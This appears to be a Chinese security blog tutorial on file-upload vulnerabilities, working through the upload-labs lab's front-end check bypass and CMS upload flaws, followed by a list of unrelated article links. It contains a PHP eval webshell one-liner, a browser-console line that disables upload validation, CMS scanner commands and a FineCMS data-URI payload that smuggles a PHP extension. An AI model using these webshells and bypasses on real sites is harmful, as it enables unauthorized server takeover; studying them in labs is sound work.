当前位置: 首页 > news >正文

文件上传之基础过滤方式

利用思路来源以下方向:

1.  什么是文件上传漏洞

有文件上传就可以测试是否有漏洞,关键看代码是否完备。

比如上网搜索相关的上传路径:inurl:upload.php

2.  漏洞危害

自定义网站后门,获取网站权限,属于高危漏洞。

3.  如何查找判断

黑盒查找:不知道源代码情况下,通过目录扫描和网站应用,以及通过网站后台、会员中心进行获取权限,需要自己判断。

白盒查找:通过源代码分析文件上传漏洞。

判断:通过抓包分析

网站的目录扫描:御剑,dir等工具(扫描本地的一个上传靶场地址:http://upload-labs:8082/)

下载地址是:https://github.com/c0ny1/upload-labshttps://github.com/c0ny1/upload-labs

然后我去尝试扫描第一关(没有upload.php自然也就扫不出来):

4.网站应用功能

---上传头像、图片、会员中心、上传视频

5.  注意事项以及应用说明

文件上传的区分归类,是编辑器还是第三方应用,还是其它的,再进行后续测试

本地文件上传漏洞靶场环境搭建测试

1.  第一关(本地前端验证)

2.尝试文件的上传(内容可以是一句话木马:<?php @eval($_POST['cmd']);?>,也可以直接PHP信息检测<?php phpinfo()?>)

3.查看上传的结果:上传1.php然后

提示:文件类型不正确,请重新上传!

4.查看本地前端源代码

//定义允许上传的文件类型var allow_ext = ".jpg|.png|.gif";

这个代码很简单就可以绕过:

1.我可以直接删除或者禁用前端的这串代码,证明他的不存在,然后再去发送一个php文件就可以上传

2.bp抓包,修改后缀(上传一个1.jpg抓包修改成1.php)也能得到同样的效果

但是这里也有一个误区:

不是所有的情况都可以抓包,抓不了包的情况是:

  • ✅ 数据在浏览器内循环

  • ❌ 没有产生HTTP请求

  • ❌ 没有网络流量

  • ❌ BurpSuite无包可抓

尝试第一种方法上传文件:

document.querySelector('form').onsubmit = null;

此时就能上传之前没有上传的1.php文件

尝试第二种方法上传文件:

php->png就行了

CMS 及 CVE 编号文件上传漏洞测试

CMS(内容管理系统)的文件上传漏洞测试是Web安全中的重要环节。

1. 信息收集阶段

识别CMS类
# 使用工具识别CMS
whatweb http://target.com(kali)
wpscan --url http://target.com  # WordPress
joomscan -u http://target.com   # Joomla
droopescan scan drupal -u http://target.com  # Drupal

2. 常见CMS上传漏洞点

WordPress
# 常见上传路径
/wp-admin/media-new.php
/wp-admin/async-upload.php
/wp-content/uploads/
/wp-admin/plugin-install.php
Joomla
/components/com_media/
/images/
/templates/
Drupal
/admin/content/media
/user/[uid]/edit  # 头像上传

比如去找finecms文件漏洞的信息(Finecms SQL注入漏洞 (CVE-2018-6893)):

preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result);
if ($result) {
    $ext = $result[2];  // 获取图片类型作为扩展名
    $filename = time().'.'.$ext;
    // 保存文件...
}

发现正则表达式尝试绕过:data:image/php;base64,PD9waHAgcGhwaW5mbygpPz4==

这样抓包修改成把image/jpeg 改成image/php 然后加入正确的路径就可以得到数据

Weblogic简介(相当于Java开发的第三方应用)

---用于部署网站的第三方应用,相当于nginx,Apache等中间件,也类似于中间件存在文件上传漏洞。(WebLogic 后台弱⼝令GetShell(weak_password ))

http://www.dtcms.com/a/601828.html

相关文章:

  • Explain 执行计划详解:SQL 性能瓶颈与索引命中分析
  • 汕头网址模板建站广西明电建设有限公司网站
  • 新增目录在vscode git中不可见但git status可见的问题
  • 网站备案信息更改审核要多久智能产品创新设计
  • 大模型加速的其他方法简记
  • Linux C语言编译器的使用与调试技巧
  • [c++]宏函数与内联函数
  • 广州网站定做西安网站开发服务费用
  • 桂林网站建设招聘制作公司网站怎么做
  • 电脑CPU温度多少算正常?温度过高的原因分析
  • 广安住房和城乡建设厅网站10分钟免费建网站
  • 系统监控“可视化“实战:3步搭建企业级监控面板
  • 株洲网站建设优度外贸培训
  • 使用DelayQueue 分布式延时队列,干掉定时任务!
  • 外贸网站开发多少钱汕头百度seo电话
  • C语言反编译技术分析 | 探讨其实现原理与应用场景
  • C语言经过编译后 | 了解编译过程对程序执行的影响
  • 哈尔滨h5模板建站比较开放的浏览器
  • 公司网站模板设计网站建设挣钱么
  • 想自己做点飘纱素材到网站上买自己电脑做服务器搭建网站有域名
  • 电子电气架构 ---系统工程与系统架构的内涵
  • 2024年蚌埠市科学技术奖提名工作申报条件程序通知
  • 基于MATLAB的复杂场景下车牌识别与车辆信息管理系统
  • Free Pycharm in Docker
  • TiDB 备份与恢复整理
  • 网站运营 开发上上海海网网站站建设
  • 公司怎样制作网站织梦做双语网站
  • Spring 中的 @ExceptionHandler 注解详解与应用
  • 网站建设有哪些软件卖鞋做哪个网站好
  • linux课堂练习1112